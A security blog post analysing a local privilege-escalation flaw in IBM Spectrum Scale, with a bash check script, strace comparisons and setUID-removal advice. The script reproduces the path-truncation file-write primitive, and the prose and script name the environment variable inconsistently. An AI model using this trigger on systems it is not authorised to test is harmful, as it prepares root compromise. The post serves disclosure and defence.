An Analysis and a Check for an IBM Spectrum Scale Vulnerability
Recently some exploit code appeared on line for a vulnerability in Spectrum Scale (GPFS) v5.0.3. This vulnerability is one of a series of vulnerabilities which have been made exploitable as a result of IBM choosing to set the the setUID bit on a number of root owned binaries within the /usr/lpp/mmfs/bin directory. Like similar past vulnerabilities, this vulnerability also results in an ordinary user being able to gain full root access to a system using Spectrum Scale.
This article shares an analysis of the vulnerability and also provides a script that can be run in order to check whether your systems are vulnerable.
IBM rarely provide much useful information about vulnerabilities affecting their technologies. Consequently it can be quite difficult to ensure that systems are secure without performing some time consuming analysis… which is what we’ve done and hope is useful:
Version Information
We won’t share the exploit code here because it can be disruptive on a production system unless you clean up after it. Nevertheless it was a very elegantly written and reliable piece of exploit code.
We believe that it was an exploit for CVE-2020-4273 (or possibly CVE-2019-4558), both of which have been fixed by IBM. If you are not patched against these vulnerabilities then you should do so urgently. We have been able to confirm that the exploit code works against Spectrum Scale v5.0.3 and does NOT work against v5.0.5. It does also affect the 4.2.x branch. Our belief is that a patch for this vulnerability appeared in v5.0.4.3 and v4.2.3.21.
The Technical Detail
For those that are interested, this exploit takes advantage of the fact that an fopen() call in the affected binaries truncates its input and prepends the data held in the GPFS_CMD_TRACING_LOG environment variable. Shove enough data in that environment variable and it’ll truncate it stripping off the intended destination and giving you control over where it writes its file.
If the GPFS_CMD_TRACING_LOG environment variable is set then you’ll see an open call along these lines (where xxxxx is the value contained within the environment variable). If no environment variable is set then this open call will not happen:
open("xxxxx/mmfs_cmd.tschfileset.8791", O_WRONLY|O_CREAT|O_TRUNC, 0666) = -1 ENOTDIR (Not a directory)With a specially crafted environment variable you can cause the intended path to be truncated and result in the following open() call happening:
open("////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////tmp/hpcsec", O_WRONLY|O_CREAT|O_TRUNC, 0666)Due to the use of setUID bits on various Spectrum Scale related binaries the file created as a result of this call is root owned and writable by the user. It therefore provides the platform for the user to escalate their privileges to root (the detail of which we won’t go into here).
-rw-rw-r--. 1 root tes1 50 Jul 3 15:47 hpcsecAs we’ve already mentioned, with the setUID bits removed from the binaries in /usr/lpp/mmfs/bin/ there is no opportunity for this vulnerability to be exploited. In fact (other than those affecting the optional GUI) if you remove the setUID bits from all binaries in /usr/lpp/mmfs/bin, as we recommended back in 2016, you’d have protected yourself from all notable Spectrum Scale vulnerabilities that have ever existed (including this one) and likely most that will exist in the future too. As I’m not aware of any reason for these setUID bits to be set, they appear to do nothing but open up security holes I cannot recommend strongly enough that you remove those setUID bits.
Checking for the Vulnerability
We have provided a script which is freely downloadable and can be run to check whether your system is vulnerable: https://files.hpcsec.com/utilities/check-cve-2020-4273.sh
Whilst the script does clean up after itself you may be left with an empty root owned file “/tmp/hpcsec” on your system which you’ll need to manually remove.
#!/bin/bash
#
# https://files.hpcsec.com/utilities/check-cve-2020-4273.sh
#
# A script to check for vulnerability to CVE-2020-4273
# (or possibly CVE-2019-4558). The script checks for a call
# to setresuid() which is one ofthe modifications IBM made
# in order to patch thevulnerability
#
# you should run this script as a non-root user
#
# if you are vulnerable it will create an empty root owned
# file named /tmp/hpcsec which you will need to manually
# remove
#
# We believe this script to be very safe, however, use at
# your own risk.
#
# Usage:
# $ bash check-cve-2020-4273.sh
if [[ $EUID -eq 0 ]]; then
echo "This script must be run as a non root user !" 1>&2
exit 1
fi
echo
export GPFS_CMD_TRACING_LOC=`perl -e 'print "/" x 243'`/tmp/hpcsec
# first run without strace as it messes with file permissions
/usr/lpp/mmfs/bin/tschfileset 2>/dev/null
# run again through strace to capture output
if which strace &>/dev/null; then
strace -e trace=setresuid -o /tmp/hpcsec.strace /usr/lpp/mmfs/bin/tschfileset 2>/dev/null
# if strace output includes call to setresuid() then you're probably patched
if grep setresuid /tmp/hpcsec.strace; then
echo "[ ] you appear to be patched (good)"
else
echo "[X] you appear to not be patched (bad)"
fi
else
echo "[?] you do not have strace installed, unable to check whether you are patched (install strace and retry)"
fi
unset GPFS_CMD_TRACING_LOC
# if you can write to /tmp/hpcsec but don't own it then you're probably vulnerable
if test -w /tmp/hpcsec && !(test -O /tmp/hpcsec); then
echo "[X] you are vulnerable (very bad)"
else
echo "[ ] you appear not to be not vulnerable (good)"
fi
# if you have set UID bits set on any binaries in /usr/lpp/mmfs/bin then you are a fool!
if test -u /usr/lpp/mmfs/bin/tschfileset; then
echo "[X] set uid bit set on your tschfileset binary (bad)"
else
echo "[ ] no set UID bits on your tschfileset binary (good)"
fi
rm -f /tmp/hpcsec 2>/dev/null
rm -f /tmp/hpcsec.strace 2>/dev/null
echo
echo "https://www.hpcsec.com/"
echoFor those interested in a bit more detail on what the script is doing here is snippet of the strace output on a vulnerable and a patched system around where it writes a file to disk:
Vulnerable System
...
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
getuid() = 0
getuid() = 0
brk(NULL) = 0x55df15f5c000
brk(0x55df15f7d000) = 0x55df15f7d000
brk(NULL) = 0x55df15f7d000
open("////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////tmp/hpcsec", O_WRONLY|O_CREAT|O_TRUNC, 0666)
= 3
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
open("/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=106075056, ...}) = 0
...Patched System
...
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
brk(NULL) = 0x55c6dcdeb000
brk(0x55c6dce0c000) = 0x55c6dce0c000
getuid() = 1002
getuid() = 1002
getpid() = 16615
getuid() = 1002
geteuid() = 1002
setresuid(-1, 1002, -1) = 0
umask(0177177) = 002
openat(AT_FDCWD, "////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////tmp/hpcsec", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
setresuid(-1, 1002, -1) = 0
umask(002) = 0177
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...As you can see, on the patched system there are a few more calls, of particular interest are those to:
- setresuid()
- umask()
Essentially what IBM have done in their fix is to set a more restrictive umask on the file created, so that only the owner of the file can read and write to it and nobody else has any permissions. They also ensure that the user ID is set to the real user ID even though the effective user ID may be 0. Both of these combined prevent exploitation of this vulnerability. The truncation of the filename still occurs, however, the controls now in place mean that this can only be leveraged to write a file under your own UID and so no longer facilitates privilege escalation.
We would still love to see IBM remove the setUID bits from all Spectrum Scale binaries. However, you can do this yourself; The following command will identify all such binaries:
ls -l /usr/lpp/mmfs/bin | grep r-sYou can reset the setuid bit for each such file by issuing this command on each file
chmod u-s fileReferences and Other Information
Our advisory for CVE-2020-4273 with links to IBM’s security bulletin is available here: https://www.hpcsec.com/2020/04/07/cve-2020-4273/
Our script to check whether your system is vulnerable is available here: https://files.hpcsec.com/utilities/check-cve-2020-4273.sh
The information within this article was provided to subscribers of our mailing list several weeks back and our customers had fixes 5 years ago. If the security of your HPC environment is critical then do take a minute to subscribe to our mailing list (https://www.hpcsec.com/hpcsec-mailing-lists/) or to get in touch https://www.hpcsec.com/contact/, we’re always looking for new research partners to collaborate with in enhancing HPC security.
If you have some useful information that has not made its way into this post then let us know and we’ll look to incorporate it.